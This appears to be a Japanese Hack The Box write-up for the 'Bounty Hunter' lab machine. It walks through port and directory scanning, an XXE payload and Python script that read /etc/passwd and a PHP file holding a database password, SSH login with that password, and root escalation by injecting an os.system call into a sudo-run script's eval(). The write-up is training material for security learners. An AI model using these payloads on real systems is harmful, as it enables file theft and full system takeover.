![見出し画像](https://assets.st-note.com/production/uploads/images/169015970/rectangle_large_type_2_4c3457832c7edaa5a410d76e1dbbc376.png?width=1200)
HTB Bounty Hunter
nmapによるポート探索
$ nmap -sCV -A -v -p- --min-rate 5000 10.10.11.100 -oN nmap_result.txt
ORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 d4:4c:f5:79:9a:79:a3:b0:f1:66:25:52:c9:53:1f:e1 (RSA)
| 256 a2:1e:67:61:8d:2f:7a:37:a7:ba:3b:51:08:e8:89:a6 (ECDSA)
|_ 256 a5:75:16:d9:69:58:50:4a:14:11:7a:42:c1:b6:23:44 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Bounty Hunters
|_http-favicon: Unknown favicon MD5: 556F31ACD686989B1AFCF382C05846AA
feroxbusterによるenumeration
└─$ feroxbuster -u http://10.10.11.100/ -d 2 -C 403,404,500
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.11.0
───────────────────────────┬──────────────────────
🎯 Target Url │ http://10.10.11.100/
🚀 Threads │ 50
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
💢 Status Code Filters │ [403, 404, 500]
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.11.0
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🔎 Extract Links │ true
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 2
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404 GET 9l 31w 274c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
403 GET 9l 28w 277c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
301 GET 9l 28w 309c http://10.10.11.100/js => http://10.10.11.100/js/
200 GET 1l 44w 2532c http://10.10.11.100/resources/jquery.easing.min.js
200 GET 5l 15w 125c http://10.10.11.100/portal.php
200 GET 122l 415w 30702c http://10.10.11.100/assets/img/portfolio/cake.png
200 GET 178l 601w 46744c http://10.10.11.100/assets/img/portfolio/game.png
200 GET 150l 506w 43607c http://10.10.11.100/assets/img/portfolio/submarine.png
200 GET 139l 444w 35267c http://10.10.11.100/assets/img/portfolio/safe.png
200 GET 7l 1031w 84152c http://10.10.11.100/resources/bootstrap.bundle.min.js
200 GET 2l 1297w 89476c http://10.10.11.100/resources/jquery.min.js
301 GET 9l 28w 313c http://10.10.11.100/assets => http://10.10.11.100/assets/
301 GET 9l 28w 310c http://10.10.11.100/css => http://10.10.11.100/css/
301 GET 9l 28w 316c http://10.10.11.100/resources => http://10.10.11.100/resources/
200 GET 64l 232w 2682c http://10.10.11.100/resources/lato.css
200 GET 248l 761w 12807c http://10.10.11.100/assets/img/avataaars.svg
200 GET 80l 248w 3228c http://10.10.11.100/resources/monsterat.css
200 GET 69l 210w 2424c http://10.10.11.100/js/scripts.js
200 GET 0l 0w 187375c http://10.10.11.100/css/styles.css
200 GET 0l 0w 36514c http://10.10.11.100/assets/img/portfolio/cabin.png
200 GET 0l 0w 23462c http://10.10.11.100/assets/img/favicon.ico
200 GET 0l 0w 1194961c http://10.10.11.100/resources/all.js
200 GET 0l 0w 27984c http://10.10.11.100/assets/img/portfolio/circus.png
200 GET 388l 1470w 25169c http://10.10.11.100/
301 GET 9l 28w 317c http://10.10.11.100/assets/img => http://10.10.11.100/assets/img/
200 GET 24l 44w 594c http://10.10.11.100/resources/bountylog.js
200 GET 6l 34w 210c http://10.10.11.100/resources/README.txt
200 GET 0l 0w 48945c http://10.10.11.100/resources/bootstrap_login.min.js
200 GET 0l 0w 86659c http://10.10.11.100/resources/jquery_login.min.js
ルートにportal.phpファイルが1つだけある。
PHPの他ファイルが無いかを確認する。
$ feroxbuster -u http://10.10.11.100/ -d 2 -C 403,404,500 -x php
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.11.0
───────────────────────────┬──────────────────────
🎯 Target Url │ http://10.10.11.100/
🚀 Threads │ 50
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
💢 Status Code Filters │ [403, 404, 500]
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.11.0
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🔎 Extract Links │ true
💲 Extensions │ [php]
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 2
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
403 GET 9l 28w 277c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
404 GET 9l 31w 274c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
301 GET 9l 28w 309c http://10.10.11.100/js => http://10.10.11.100/js/
301 GET 9l 28w 310c http://10.10.11.100/css => http://10.10.11.100/css/
200 GET 122l 415w 30702c http://10.10.11.100/assets/img/portfolio/cake.png
200 GET 248l 761w 12807c http://10.10.11.100/assets/img/avataaars.svg
200 GET 80l 248w 3228c http://10.10.11.100/resources/monsterat.css
200 GET 69l 210w 2424c http://10.10.11.100/js/scripts.js
200 GET 6l 34w 210c http://10.10.11.100/resources/README.txt
200 GET 64l 232w 2682c http://10.10.11.100/resources/lato.css
200 GET 7l 567w 48945c http://10.10.11.100/resources/bootstrap_login.min.js
200 GET 7l 1031w 84152c http://10.10.11.100/resources/bootstrap.bundle.min.js
200 GET 4l 1298w 86659c http://10.10.11.100/resources/jquery_login.min.js
301 GET 9l 28w 313c http://10.10.11.100/assets => http://10.10.11.100/assets/
200 GET 5l 15w 125c http://10.10.11.100/portal.php
200 GET 1l 44w 2532c http://10.10.11.100/resources/jquery.easing.min.js
200 GET 0l 0w 89476c http://10.10.11.100/resources/jquery.min.js
200 GET 0l 0w 187375c http://10.10.11.100/css/styles.css
200 GET 0l 0w 25896c http://10.10.11.100/assets/img/portfolio/game.png
200 GET 0l 0w 27984c http://10.10.11.100/assets/img/portfolio/circus.png
200 GET 0l 0w 24330c http://10.10.11.100/assets/img/portfolio/submarine.png
200 GET 0l 0w 36514c http://10.10.11.100/assets/img/portfolio/cabin.png
200 GET 0l 0w 1194961c http://10.10.11.100/resources/all.js
200 GET 0l 0w 19240c http://10.10.11.100/assets/img/portfolio/safe.png
200 GET 0l 0w 23462c http://10.10.11.100/assets/img/favicon.ico
200 GET 388l 1470w 25169c http://10.10.11.100/
200 GET 0l 0w 0c http://10.10.11.100/db.php
200 GET 24l 44w 594c http://10.10.11.100/resources/bountylog.js
301 GET 9l 28w 316c http://10.10.11.100/resources => http://10.10.11.100/resources/
200 GET 388l 1470w 25169c http://10.10.11.100/index.php
200 GET 20l 63w 617c http://10.10.11.100/log_submit.php
直下にいくつかPHPファイルがあり、その中でもdb.phpはdbアクセスをやっている可能性があり、Credentialsが書かれていると嬉しい。
ポイント
feroxbusterの拡張子なしはディレクトリ把握用
ファイル列挙は十分ではないため-xで拡張子を指定する
ポート80探索
![](https://assets.st-note.com/img/1736173457-OHUSb5zCG8D9Py7NQ2fYjcli.png?width=1200)
![](https://assets.st-note.com/img/1736173501-aKpgxWXJf8U7oDZAyslchLki.png?width=1200)
![](https://assets.st-note.com/img/1736173607-7oliUPOjbkesyRTaIQKr3tvV.png)
![](https://assets.st-note.com/img/1736173645-rhf8bW1FNUuvzAwnVDyxm9GS.png)
ポイント
開発中の画面は不完全である可能性が高く、入力した内容が表示されるためXSSやXXEの可能性を調査する。
![](https://assets.st-note.com/img/1736174084-XQYOTICwvWcKMdiks4GygmtZ.png?width=1200)
![](https://assets.st-note.com/img/1736174241-lafHwAIPhYVXtGQ3mni7x2TN.png?width=1200)
XXEによるファイル参照
ポイント
XMLが何者かはある程度しっている前提となるが、XXEとはXml eXternal Entitiesの略で、DOCTYPEで外部ファイルを参照することが可能。
What are XML external entities?
XML external entities are a type of custom entity whose definition is located outside of the DTD where they are declared.
The declaration of an external entity uses the SYSTEM keyword and must specify a URL from which the value of the entity should be loaded. For example:
<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://normal-website.com" > ]>
The URL can use the file:// protocol, and so external entities can be loaded from file. For example:
<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///path/to/file" > ]>
XML external entities provide the primary means by which XML external entity attacks arise.
BurpSuiteでXXE
先程のリクエストを簡単なXXEの確認用データに書き換える
![](https://assets.st-note.com/img/1736175354-CLybYSAso0vuZDJEFd4H3lfG.png)
![](https://assets.st-note.com/img/1736175436-lnHvizm2C5XsaZNTx91PfYwL.png)
![](https://assets.st-note.com/img/1736175575-Ymlh4zuGXf0iseMcBNEdCQpJ.png)
![](https://assets.st-note.com/img/1736175804-K0qFlmO7xbz2sciXh4QPJB9T.png)
![](https://assets.st-note.com/img/1736176134-sXAKMgqiQxhPzYV1eBumclo7.png)
![](https://assets.st-note.com/img/1736176204-y9LmuhdOn3xFWvkrSpoBw2cT.png)
ポイント
PHPファイルはそのままでは取得できないためbase64にエンコードして文字列として取得する
"php://filter/convert.base64-encode/resource=/var/www/html/db.php"
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/db.php"> ]>
<bugreport>
<title>&xxe;</title>
<cwe>CWE1111</cwe>
![](https://assets.st-note.com/img/1736177583-vnC5KaRzshTQJ9coriNSkf4G.png?width=1200)
POC
出典元
import requests
import sys
from base64 import b64encode, b64decode
if len(sys.argv) != 2:
print(f"usage: {sys.argv[0]} filename")
sys.exit()
xxe = f"""<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT bar ANY >
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource={sys.argv[1]}" >]>
<bugreport>
<title>&xxe;</title>
<cwe>CWE</cwe>
<cvss>9.8</cvss>
<reward>1,000,000</reward>
</bugreport>"""
payload = b64encode(xxe.encode())
resp = requests.post('http://10.10.11.100/tracker_diRbPr00f314.php',
data = {'data': payload},
proxies = {'http': 'http://127.0.0.1:8080'})
encoded_result = '>'.join(resp.text.split('>')[5:-21])[:-4]
result = b64decode(encoded_result)
print(result.decode())
grepの-v(フィルター)と-e(OR検索)を使いログイン可能ユーザを取得
└─$ python3 xxe.py /etc/passwd | grep -v -e false -e nologin
root:x:0:0:root:/root:/bin/bash
sync:x:4:65534:sync:/bin:/bin/sync
development:x:1000:1000:Development:/home/development:/bin/bash
└─$ python3 xxe.py /var/www/html/db.php
<?php
// TODO -> Implement login system with the database.
$dbserver = "localhost";
$dbname = "bounty";
$dbusername = "admin";
$dbpassword = "m19RoAU0hP41A1sTsq6K";
$testuser = "test";
?>
Exploit
ユーザをdevelopment、パスワードをDB接続情報でSSHアクセスする
$ ssh development@10.10.11.100
The authenticity of host '10.10.11.100 (10.10.11.100)' can't be established.
ED25519 key fingerprint is SHA256:p7RCN4B2AtB69d0vE1LTmg0lRRlnsR1fxArJ+KNoNFQ.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.100' (ED25519) to the list of known hosts.
development@10.10.11.100's password:
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-80-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Mon 06 Jan 2025 03:16:33 PM UTC
System load: 0.12
Usage of /: 24.7% of 6.83GB
Memory usage: 16%
Swap usage: 0%
Processes: 214
Users logged in: 0
IPv4 address for eth0: 10.10.11.100
IPv6 address for eth0: dead:beef::250:56ff:feb0:1da1
0 updates can be applied immediately.
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Last login: Wed Jul 21 12:04:13 2021 from 10.10.14.8
development@bountyhunter:~$ id
uid=1000(development) gid=1000(development) groups=1000(development)
eval()でコマンド実行してPrivilege Escalation
NoPasswordで実行できるPythonファイルがあります。
development@bountyhunter:~$ sudo -l
Matching Defaults entries for development on bountyhunter:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User development may run the following commands on bountyhunter:
(root) NOPASSWD: /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
ticketValidatorのmain()の流れをみると名前の通りチケットファイルの有効性を評価するプログラムのようです。
def main():
fileName = input("Please enter the path to the ticket file.\n")
ticket = load_file(fileName)
#DEBUG print(ticket)
result = evaluate(ticket)
if (result):
print("Valid ticket.")
else:
print("Invalid ticket.")
ticket.close
テスト用のInvalidTicketがあるので動作確認をしてみます。
development@bountyhunter:~$ ls /opt/skytrain_inc/
invalid_tickets ticketValidator.py
development@bountyhunter:~$ ls /opt/skytrain_inc/invalid_tickets/
390681613.md 529582686.md 600939065.md 734485704.md
development@bountyhunter:~$ cat /opt/skytrain_inc/invalid_tickets/390681613.md
# Skytrain Inc
## Ticket to New Haven
__Ticket Code:__
**31+410+86**
##Issued: 2021/04/06
#End Ticket
development@bountyhunter:~$ /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
Please enter the path to the ticket file.
/opt/skytrain_inc/invalid_tickets/390681613.md
Destination: New Haven
Invalid ticket.
どんなチェックをしているのかを見てみます。
1行目がSkytrain Incで始まること
2行目がTicket toで始まること
3行目がTicket Code:で始まること
4行目(TicketCode)が**で始まること
TicketCodeの最初の数字を7で割るとあまりが4であること
TicketCodeには+が書かれておりeval()で式を評価したときに100より大きいこと
先程のファイルをこの形式に合うように修正して実行してみます。
development@bountyhunter:~$ cp /opt/skytrain_inc/invalid_tickets/390681613.md ./
development@bountyhunter:~$ ls -l
total 12
-r--r--r-- 1 development development 102 Jan 6 23:34 390681613.md
-rw-r--r-- 1 root root 471 Jun 15 2021 contract.txt
-r--r----- 1 root development 33 Jan 6 13:19 user.txt
development@bountyhunter:~$ chmod 644 390681613.md
development@bountyhunter:~$ ls -l
total 12
-rw-r--r-- 1 development development 102 Jan 6 23:34 390681613.md
-rw-r--r-- 1 root root 471 Jun 15 2021 contract.txt
-r--r----- 1 root development 33 Jan 6 13:19 user.txt
development@bountyhunter:~$ vim 390681613.md
development@bountyhunter:~$ cat 390681613.md
# Skytrain Inc
## Ticket to New Haven
__Ticket Code:__
**32+410+86**
##Issued: 2021/04/06
#End Ticket
修正箇所はTicketCodeの先頭部分で31⇒32
development@bountyhunter:~$ /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
Please enter the path to the ticket file.
/home/development/390681613.md
Destination: New Haven
Valid ticket.
これでプログラムの動きを理解できました。
問題のeval()付近を見ていきます。
if code_line and i == code_line:
if not x.startswith("**"):
return False
ticketCode = x.replace("**", "").split("+")[0]
if int(ticketCode) % 7 == 4:
validationNumber = eval(x.replace("**", ""))
if validationNumber > 100:
return True
else:
return False
eval()には**を削除した文字列を渡しております。
素直に受け止めると残った文字列はNN+NN+NNのような数値の足し算を想定しており数式の評価としてeval()を使ったようです。
もしxの中身が数値と+等の計算式だけであることを正規表現等でチェックした上でeval()に渡しているのであれば問題ありませんが、そのようなチェックはせずxの中身をそのまま渡しております。
ポイント
eval()は渡された文字列をプログラムとして実行してくれるので、言い換えると好きなプログラムを実行できてしまいます。
しかもsudo-lで確認したとおりこのPythonファイルはroot権限で実行できるのでbashを実行するとrootのシェルを奪えます。
development@bountyhunter:~$ vim 390681613.md
development@bountyhunter:~$ cat 390681613.md
# Skytrain Inc
## Ticket to New Haven
__Ticket Code:__
**32+410+86**+__import__("os").system("/bin/bash")
##Issued: 2021/04/06
#End Ticket
development@bountyhunter:~$ sudo /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
Please enter the path to the ticket file.
/home/development/390681613.md
Destination: New Haven
root@bountyhunter:/home/development# id
uid=0(root) gid=0(root) groups=0(root)